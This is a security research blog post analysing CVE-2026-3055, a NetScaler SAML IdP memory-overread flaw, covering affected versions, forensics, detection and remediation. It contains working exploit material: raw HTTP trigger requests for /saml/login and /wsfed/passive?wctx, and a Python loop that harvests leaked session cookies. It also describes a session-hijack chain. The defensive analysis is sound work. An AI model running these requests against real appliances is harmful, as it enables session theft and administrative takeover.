CitrixBleed 3 The Franchise Nobody Asked For (CVE-2026-3055)

When your identity provider starts giving away memories it was supposed to keep

CitrixBleed 3 The Franchise Nobody Asked For (CVE-2026-3055)

On March 23, 2026, Citrix (doing business as Cloud Software Group, because enterprise rebranding is a perpetual motion machine) published security bulletin CTX696300 for CVE-2026-3055, a CVSS 9.3 memory overread vulnerability in NetScaler ADC and NetScaler Gateway. The vulnerability allows unauthenticated, remote attackers to read process memory from affected appliances, potentially disclosing active session tokens, authentication material, and other secrets that have no business leaving the box.

If that sounds familiar, it should. This is the third time in roughly thirty months that Citrix NetScaler has produced a critical memory disclosure vulnerability in an authentication path. The first was CitrixBleed (CVE-2023-4966), which LockBit affiliates used to breach Boeing, ICBC, DP World, and others. The second was CitrixBleed 2 (CVE-2025-5777), which saw heavy targeting throughout 2025. CVE-2026-3055 continues the tradition with a new twist: the vulnerability lives in the SAML Identity Provider (IdP) path, and as researchers later discovered, the single CVE ID actually covers at least two distinct memory overread primitives across two different endpoints.

The security community has taken to calling this one “CitrixBleed 3.” At this point, the franchise has more sequels than anyone wanted and the plot hasn’t changed.

Here is the part that matters for anyone still reading: CISA added CVE-2026-3055 to the Known Exploited Vulnerabilities catalog on March 30, 2026, with a federal remediation deadline of April 2, 2026. Active exploitation is confirmed. watchTowr reported exploitation from known threat actor source IPs in their honeypot network as of March 27, 2026. The window between advisory and weaponization was four days. For CitrixBleed, it was about the same. The pattern is predictable at this point.

The Vulnerability

CVE-2026-3055 is classified as CWE-125 (Out-of-bounds Read), resulting from insufficient input validation in NetScaler ADC and NetScaler Gateway when the appliance is configured as a SAML Identity Provider. The CVSS v4.0 vector is AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L, yielding a 9.3. Breaking that down: network-accessible, low complexity, no authentication required, no user interaction, high confidentiality/integrity/availability impact on the vulnerable system, with limited downstream impact on connected systems. The vulnerability does not require authentication. It does not require user interaction. Attack complexity is low. The only prerequisite is that the target appliance is configured as a SAML IdP, which is a common configuration for organizations using single sign-on.

To understand why this matters, consider what a SAML IdP does. It is the box that handles authentication for all your other boxes. When a user wants to access a service, the service redirects them to the IdP, which validates credentials and issues a SAML assertion. Every session token, every authentication credential, every SAML assertion flows through this component’s memory. A vulnerability that reads arbitrary memory in this path is not leaking junk data. It is leaking the keys to the kingdom.

Citrix described the vulnerability as “insufficient input validation leading to memory overread.” What they did not disclose, and what watchTowr subsequently demonstrated, is that CVE-2026-3055 actually encompasses at least two distinct memory overread vulnerabilities affecting two separate endpoints:

  1. /saml/login - The SAML authentication endpoint
  2. /wsfed/passive?wctx - The WS-Federation passive authentication endpoint

Both vulnerabilities exploit the same fundamental weakness: the NetScaler’s C-based XML and parameter parsing code fails to properly validate input boundaries, resulting in reads into uninitialized or previously-freed memory. The data from those reads is then helpfully base64-encoded and returned to the attacker in the NSC_TASS cookie.

A companion vulnerability, CVE-2026-4368 (CVSS 7.7), was disclosed in the same advisory. This is a race condition (CWE-362) leading to user session mixup, affecting only build version 14.1-66.54 when configured as a Gateway or AAA virtual server. While less severe, it can result in one authenticated user’s session being exposed to another user, which is its own flavor of bad.

Timeline

The timeline here moves fast, but the underlying pattern has been in motion for years.

Four days from advisory to confirmed in-the-wild exploitation. For a vulnerability class that has already been weaponized twice against this exact product, that turnaround should surprise absolutely nobody.

Impacted Versions and Patch Status

Affected Systems

CVE-2026-3055 affects all customer-managed NetScaler ADC and NetScaler Gateway deployments configured as a SAML Identity Provider. Citrix-managed cloud services and Adaptive Authentication instances have been updated automatically and are not affected.

The affected version matrix:

Release Train Affected Versions Fixed Version Status
NetScaler ADC / Gateway 14.1 (60.x train) Before 14.1-60.58 14.1-60.58 Available
NetScaler ADC / Gateway 14.1 (66.x train) Before 14.1-66.59 14.1-66.59 Available
NetScaler ADC / Gateway 13.1 Before 13.1-62.23 13.1-62.23 Available
NetScaler ADC 13.1-FIPS Before 13.1-37.262 13.1-37.262 Available
NetScaler ADC 13.1-NDcPP Before 13.1-37.262 13.1-37.262 Available
NetScaler 13.0 All versions None End-of-life, no patch available

CVE-2026-4368 carries an additional constraint: it only affects build version 14.1-66.54 specifically. Organizations on earlier 14.1 builds that have not yet advanced to 14.1-66.54 are not exposed to that particular flaw, but they remain in scope for CVE-2026-3055 if they fall below 14.1-66.59.

How to Check If You Are Affected

Step 1: Identify your build version.

SSH into your NetScaler and run:

show ns version

Compare the reported build against the fixed version table above. If you are below the fixed build for your release train, proceed to Step 2.

Step 2: Confirm SAML IdP configuration (CVE-2026-3055).

show authentication samlIdPProfile

If output is returned (anything other than “No entries found”), the appliance is configured as a SAML IdP and is vulnerable until patched. An alternative check via the running configuration:

show runningConfig | grep "add authentication samlIdPProfile"

Step 3: Confirm Gateway/AAA configuration (CVE-2026-4368).

For CVE-2026-4368 (only relevant if running build 14.1-66.54 specifically), check for:

show vpn vserver
show authentication vserver

Important Notes

NetScaler 13.0 is end-of-life and will not receive a security update. If you are running 13.0, migration to a supported version is not optional. It is mandatory.

Note the two parallel release trains within the 14.1 branch: 14.1-60.x and 14.1-66.x. Citrix lists fixed versions for both. Organizations should upgrade to whichever fixed build corresponds to their current release train, or move to the latest available build. The practical takeaway: if you are on 14.1 and below either 14.1-60.58 or 14.1-66.59 (depending on your train), you are affected. When in doubt, run show ns version from the CLI and compare against the fixed version table above.

Proof of Concept Details

watchTowr published detailed technical analysis and a detection artifact generator (not a weaponized exploit, but functionally close) across two blog posts on March 28-29, 2026. No formal “weaponized” PoC was released by the initial advisory date, but the information watchTowr published provides sufficient technical detail for a competent attacker to reproduce exploitation.

Vulnerability Check (from watchTowr)

The simplest check for whether an appliance is vulnerable:

For /saml/login endpoint:

Send a POST request to /saml/login with a minimal SAMLRequest payload that omits the AssertionConsumerServiceURL field:

POST /saml/login HTTP/1.1
Host: <target>
Content-Length: 336

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIA0KSUQ9Il8xMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEiIA0KVmVyc2lvbj0iMi4wIj4NCjxzYW1sOklzc3Vlcj5hPC9zYW1sOklzc3Vlcj4NCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg%3D%3D

For /wsfed/passive?wctx endpoint:

GET /wsfed/passive?wctx HTTP/1.1
Host: <target>

Detection Artifact Generator

watchTowr released a Python script designed to help defenders identify vulnerable hosts. It repeatedly sends requests to the /wsfed/passive?wctx endpoint and parses the NSC_TASS cookie for leaked memory content:

import base64
import requests
import urllib3

urllib3.disable_warnings()

while True:
    try:
        resp = requests.get("https://<host>/wsfed/passive?wctx", verify=False, allow_redirects=False)
        tass = resp.cookies.get('NSC_TASS', None)
        if tass is None:
            continue
        tassText = base64.b64decode(tass)
        memIdx = tassText.find(b'wctx=')
        if memIdx != -1:
            bled = tassText[memIdx+5:]
            cookiePos = bled.find(b'Cookie')
            if cookiePos != -1:
                print(bled[cookiePos:].decode('ascii', errors='ignore'))
    except Exception:
        pass

This script is functional for detection purposes. It is also functionally equivalent to what an attacker would use.

Technical Exploitation Analysis

To understand CVE-2026-3055, you need to understand three things: how NetScaler handles SAML, how C handles strings (poorly), and how memory reuse in a high-throughput appliance turns a parsing mistake into a credential disclosure vulnerability.

The Architecture

NetScaler’s SAML IdP implementation is written in C. This is relevant because SAML is based on XML, and writing XML parsing code in C is roughly the equivalent of performing surgery with a butter knife. It can be done. It should not be done. Citrix did it anyway.

When an appliance is configured as a SAML IdP, it exposes several endpoints. The two relevant to this vulnerability are:

Both endpoints process incoming authentication requests, extract parameters from the request data, and construct internal state that gets serialized into the NSC_TASS cookie for cross-request continuity during the authentication flow.

NSC_TASS (NetScaler Token Authorization Service State) is an internal cookie that NetScaler uses to carry state across the multi-step authentication flow. Under normal conditions, its base64-decoded content follows a predictable structure:

<idp_name>\x00<key1>=<value1>&<key2>=<value2>&...\x00

For example, a legitimate cookie from a SAML login flow decodes to:

asdf\x00ID=_abc123&bind=post&ACSURL=http://sp.example.com/acs\x00

The fields (ID, bind, ACSURL) are populated from the parsed SAMLRequest XML or WS-Federation query parameters. The values are null-terminated C strings. This is relevant because when a field’s buffer is never initialized (because the attacker omitted the corresponding input), the null terminator that would normally bound the read is absent, and the code walks forward through adjacent heap memory until it encounters one from a different allocation.

Heap Reuse and Why Production Environments Bleed More

NetScaler’s HTTP processing engine is a high-throughput, multi-threaded C application that handles potentially thousands of concurrent authentication requests. Memory is allocated and freed rapidly as requests are processed. When a buffer is freed, its contents are not zeroed. The allocator marks the region as available but the data remains intact until the region is reused for a new allocation.

This means that at any given moment, the process heap contains a mix of live allocations (active session data, in-flight requests) and freed allocations (previous session tokens, completed SAML assertions, processed LDAP bind results). When the memory overread follows an uninitialized pointer into this heap, it reads whatever data was last written there.

On a quiet lab appliance with no traffic, most freed regions contain stale test data or allocator fill patterns like 0xDEADBEEF. On a busy production appliance processing real authentication traffic, those same regions contain recent session cookies, SAML assertions with user attributes, LDAP bind credentials, and HTTP request headers from other users. The busier the appliance, the fresher and more valuable the leaked data tends to be.

Vulnerability Primitive 1: /saml/login Memory Overread

The SAML login endpoint processes a base64-decoded XML document containing the AuthnRequest. From this XML, the NetScaler extracts several fields including AssertionConsumerServiceURL, ProtocolBinding, and ID.

These extracted values are written into an internal buffer and eventually serialized into the NSC_TASS cookie. The critical flaw is what happens when these fields are absent from the XML payload.

Under normal operation, a legitimate SAML request would include all expected fields:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
Version="2.0" ProviderName="my provider"
IssueInstant="2026-03-27T04:13:00Z"
Destination="http://watchtowr/saml.php"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
AssertionConsumerServiceURL="http://watchtowr/saml.php?acs">
  <saml:Issuer>http://watchtowr/saml.php</saml:Issuer>
</samlp:AuthnRequest>

The response cookie would then contain the extracted values in a structured format:

asdf\x00ID=&bind=post&ACSURL=http://watchtowr/saml.php?acs\x00

When the attacker omits the AssertionConsumerServiceURL field entirely, the parsing code does not properly initialize the corresponding buffer. Instead of returning an empty value or rejecting the request, the code reads from whatever memory happened to be at that address, which typically contains data left over from previous requests or operations.

watchTowr demonstrated this by submitting a minimal request:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_111111111111111111111111111111111111"
Version="2.0">
<saml:Issuer>a</saml:Issuer>
</samlp:AuthnRequest>

The resulting NSC_TASS cookie contained:

00000000  61 73 64 66 00 49 44 3d  5f 31 31 31 31 31 31 31  |asdf.ID=_1111111|
00000010  31 31 31 31 31 31 31 31  31 31 31 31 31 31 31 31  |1111111111111111|
00000020  31 31 31 31 31 31 31 31  31 31 31 31 31 26 62 69  |1111111111111&bi|
00000030  6e 64 3d 70 6f 73 74 26  41 43 53 55 52 4c 3d 69  |nd=post&ACSURL=i|
00000040  64 3d 41 41 41 41 41 41  41 ef be ad de ed a7 0c  |d=AAAAAAA.......|
00000050  a1 35 00                                          |.5.|

The ACSURL= field contains id=AAAAAAA followed by 0xDEADBEEF (the ef be ad de bytes). The id=AAAAAAA fragment is residual data from a prior request. The 0xDEADBEEF is a memory fill pattern used to mark freed memory. The appliance is reading past the intended buffer boundary and returning whatever it finds.

There are practical limitations to this primitive. The extracted fields are individually capped at approximately 100 bytes, and the read terminates on a NULL byte. On a quiet lab appliance, useful memory disclosure is inconsistent; hundreds of requests may return nothing interesting before one yields data. However, in a production environment with active user sessions generating continuous memory allocation and deallocation, the probability of hitting interesting data increases significantly.

Vulnerability Primitive 2: /wsfed/passive?wctx Memory Overread

This is the more dangerous of the two primitives, and it is embarrassingly simple to trigger.

The entire exploit request:

GET /wsfed/passive?wctx HTTP/1.1
Host: <target>

That is it. A single GET request with a wctx query parameter that is present but has no value and no = sign.

The vulnerable code checks for the presence of the wctx parameter but does not verify that it has an associated value. When the parameter exists without data, the code attempts to access a buffer that was never populated. Since the buffer pointer references uninitialized memory, the code reads whatever happens to be at that address.

Unlike the /saml/login primitive, this one has no 100-byte field limitation. The leaked memory arrives base64-encoded in the NSC_TASS cookie and can contain kilobytes of data per request. watchTowr demonstrated responses containing over 2,400 bytes of raw memory per request, including:

The memory content is dynamic. Sending the same request twice returns different memory regions. An attacker running this in a loop against a busy production appliance can accumulate a significant corpus of leaked memory in minutes.

watchTowr showed that by extracting a leaked administrative session cookie and injecting it into a browser, they achieved full administrative access to the target NetScaler appliance. No credentials required. No authentication bypassed. Just memory that was never supposed to leave the process, served up in a cookie.

The Underlying Root Cause

Both primitives share the same root cause: C string handling that fails to validate buffer state before reading. In the /saml/login case, the XML parser does not initialize output buffers when expected XML attributes are missing. In the /wsfed/passive case, the query string parser checks for parameter name presence without validating that a value exists.

This is a pattern that has now repeated across four distinct vulnerabilities in the same product family. The C codebase that handles authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Each individual fix addresses a specific code path, but the architectural issue, complex string processing in C on a security-critical authentication edge, remains.

watchTowr made this point explicitly in their analysis: during the process of reproducing CVE-2026-3055, they found additional memory overread vulnerabilities with similar prerequisites, which they reported to Citrix’s PSIRT. The implication is clear. More will follow.

Considerations and Limitations

What the Vulnerability Does and Does Not Do

CVE-2026-3055 is an information disclosure vulnerability, not a remote code execution vulnerability. The attacker cannot write to memory, cannot execute arbitrary code, and cannot directly modify the appliance’s configuration through this vulnerability alone. What they can do is read memory that may contain session tokens, authentication material, and other secrets that enable follow-on access.

The practical exploitation chain, as observed in honeypot telemetry from Defused Cyber and watchTowr, follows four stages:

  1. Reconnaissance: Attacker probes /cgi/GetAuthMethods to enumerate authentication flows on the target appliance and confirm SAML IdP configuration is active
  2. Exploit: Attacker sends crafted requests to /saml/login (omitting AssertionConsumerServiceURL) or /wsfed/passive?wctx (valueless parameter)
  3. Memory Leak: Appliance returns process memory base64-encoded in the NSC_TASS cookie, potentially containing session tokens, SAML assertions, LDAP credentials, and internal request metadata
  4. Session Hijack: Attacker extracts a valid session cookie (such as NSC_AAAC or NSC_TMAS) from the leaked memory, replays it, and inherits the victim’s authenticated context
  5. If the hijacked session belongs to an administrator, the attacker now has full administrative access to the appliance
  6. From there: configuration extraction, VPN user creation, firewall rule modification, lateral movement into the internal network

This is the same exploitation chain that played out with CitrixBleed in 2023. The only difference is the entry point.

Configuration Prerequisite

The appliance must be configured as a SAML Identity Provider for CVE-2026-3055 to be exploitable. Citrix’s advisory emphasizes this point, and on the surface it sounds like a meaningful limitation. In practice, SAML IdP configuration is extremely common in enterprise environments using single sign-on. Rapid7 noted that this is “likely a very common configuration for organizations utilizing single sign-on.”

Organizations that skimmed the advisory and concluded “we don’t run an IdP” should double-check. NetScaler appliances accumulate configuration over years of operation, and SAML IdP profiles may have been enabled for specific integrations that current administrators are not aware of.

Forensic Considerations

This is where things get uncomfortable for defenders.

What the attack does NOT leave behind:

The exploitation itself is an HTTP request/response exchange. No files are written to disk. No processes are spawned. No binaries are dropped. The attacker sends a request and receives memory content in a cookie. From a forensic perspective, the attack is indistinguishable from legitimate SAML authentication traffic unless you are specifically looking at request content and response cookies.

If the attacker subsequently uses a stolen session token, that session hijack will look like a legitimate authenticated session. The session was legitimately issued by the appliance; it was just issued to the wrong person. There is no authentication failure, no credential bruteforce, no anomalous login pattern. The attacker walks in the front door with a valid key.

What you might find:

If logging is configured at sufficient verbosity (DEBUG level on the NetScaler), the /saml/login exploitation path generates log entries in /var/log/ns.log that contain anomalous content. watchTowr observed log messages referencing unsupported ProtocolBinding values that did not appear in the actual request, indicating memory content leaking into log fields. These messages would look unusual to an analyst reviewing SAML-related logs, but they require both verbose logging and someone actively looking at the right log files.

The /wsfed/passive?wctx exploitation path may generate entries for unexpected WS-Federation requests on appliances that do not normally process WS-Federation traffic. However, distinguishing exploitation from legitimate scanning or misconfiguration requires context about normal traffic patterns.

What complicates matters:

The memory disclosure is non-deterministic. Each request returns different memory content, and the attacker has no direct control over what memory region they read. This means there is no single, consistent indicator of compromise. One attacker may extract an admin session token on their fifth request. Another may send five hundred requests and get nothing useful. The forensic evidence of exploitation is a volume of requests to specific endpoints, which blends with legitimate traffic and reconnaissance activity.

Session token theft via memory disclosure also creates an attribution problem. If an attacker steals a session token and uses it from a different IP address, the appliance logs will show a legitimate session being accessed from a new source IP. This is detectable, but only if session-to-IP binding is monitored, and only if the attacker does not proxy through infrastructure close to the legitimate user.

The broader pattern:

Citrix has not published a formal list of indicators of compromise (attacker IP addresses, file hashes, or filenames) for CVE-2026-3055. There is nothing to publish. The attack does not leave file-based artifacts. It leaves network traffic that requires content-level inspection to distinguish from normal operations, and session activity that requires behavioral analysis to identify as anomalous.

This is the same forensic challenge that CitrixBleed presented in 2023. Organizations that had comprehensive network traffic logging, session monitoring, and behavioral analytics were able to detect and respond. Organizations that relied on endpoint detection, file-based IOCs, or signature-based network monitoring were flying blind.

Detection and Hunting

Network-Based Detection

WAF Rule Guidance

If a WAF or reverse proxy fronts the NetScaler:

If you have response-level inspection capability (reverse proxy, WAF with response inspection, or full packet capture):

Host-Based Detection (NetScaler Logs)

ns.log Review

On the NetScaler appliance itself, review /var/log/ns.log for:

# Hunt for anomalous SAML processing entries
grep -i "saml\|ProtocolBinding\|ACSURL\|AssertionConsumer" /var/log/ns.log | grep -v "normal_expected_value"

# Hunt for WS-Federation requests
grep -i "wsfed\|wctx" /var/log/ns.log

Session Monitoring

If exploitation has occurred and session tokens were stolen, the next observable indicator is session hijack activity:

Organizations with SIEM or UEBA capabilities should correlate NetScaler session events with source IP changes and geographic anomalies.

Remediation and Workarounds

Primary Remediation: Patch

Upgrade to a fixed version immediately:

Post-Patch Actions

Patching alone is insufficient. If the appliance was exposed and running a vulnerable version, assume that session tokens may have been stolen prior to patching.

  1. Terminate all active sessions immediately after patching. This invalidates any session tokens that may have been extracted via memory disclosure. Specifically, all NSC_AAAC, NSC_TMAS, and NSC_TASS cookies must be invalidated. Force re-authentication for all users. Until sessions are terminated, stolen tokens remain valid regardless of patch status.
  2. Rotate SAML signing certificates. If SAML assertion signing keys were present in process memory (and they may have been), a leaked signing key allows an attacker to forge SAML assertions indefinitely, even after patching.
  3. Rotate any credentials processed through the SAML IdP. This includes LDAP bind credentials, service account passwords, and any other authentication material the IdP uses to validate users.
  4. Review administrative access. Audit all admin accounts, SSH keys, and access configurations on the NetScaler. If an attacker obtained an admin session, they may have created persistence mechanisms.
  5. Review VPN user accounts. Check for unauthorized local users or unexpected group memberships, particularly in SSL VPN groups.

Temporary Mitigations (If Patching Is Not Immediately Possible)

There are no workarounds that fully remediate CVE-2026-3055. However, the following network-level controls can reduce exposure:

Closing Assessment

CVE-2026-3055 is the third critical memory disclosure vulnerability in Citrix NetScaler’s authentication path in thirty months. The first led to LockBit affiliates breaching major enterprises. The second saw sustained targeting throughout 2025. This third iteration follows the same pattern: memory overread on an internet-facing authentication edge, leaking session tokens in a response cookie, enabling unauthenticated session hijack.

The vulnerability class has not changed. The product has not changed. The exploitation chain has not changed. Only the specific code path is different.

What makes CVE-2026-3055 worth particular attention is the disclosure that a single CVE ID was assigned to at least two distinct memory overread primitives, and that watchTowr found additional memory overread vulnerabilities during their analysis that they reported separately. The implication is that the C codebase handling authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Individual patches address individual code paths, but the underlying architectural risk, complex authentication protocol parsing in C on a security-critical appliance, persists.

Organizations running NetScaler as a SAML IdP need to patch immediately, terminate all active sessions, rotate credentials, and hunt for indicators of session hijack. Organizations that have patched but did not terminate sessions and rotate credentials are still at risk from tokens that may have been stolen before the patch was applied.

For organizations making longer-term architectural decisions, CVE-2026-3055 should prompt a serious conversation about whether a network appliance vendor is the appropriate home for identity federation duties. Four critical memory disclosure vulnerabilities in the same authentication path, in the same product family, in thirty months, is not a trend line that inspires confidence. At some point, the question stops being “when will the next one drop” and starts being “why are we still here.”

We will update this post if additional exploitation details, IOCs, or vendor guidance emerge.

References

GOTT Labs · Independent Research · Assertions backed by evidence, not optimism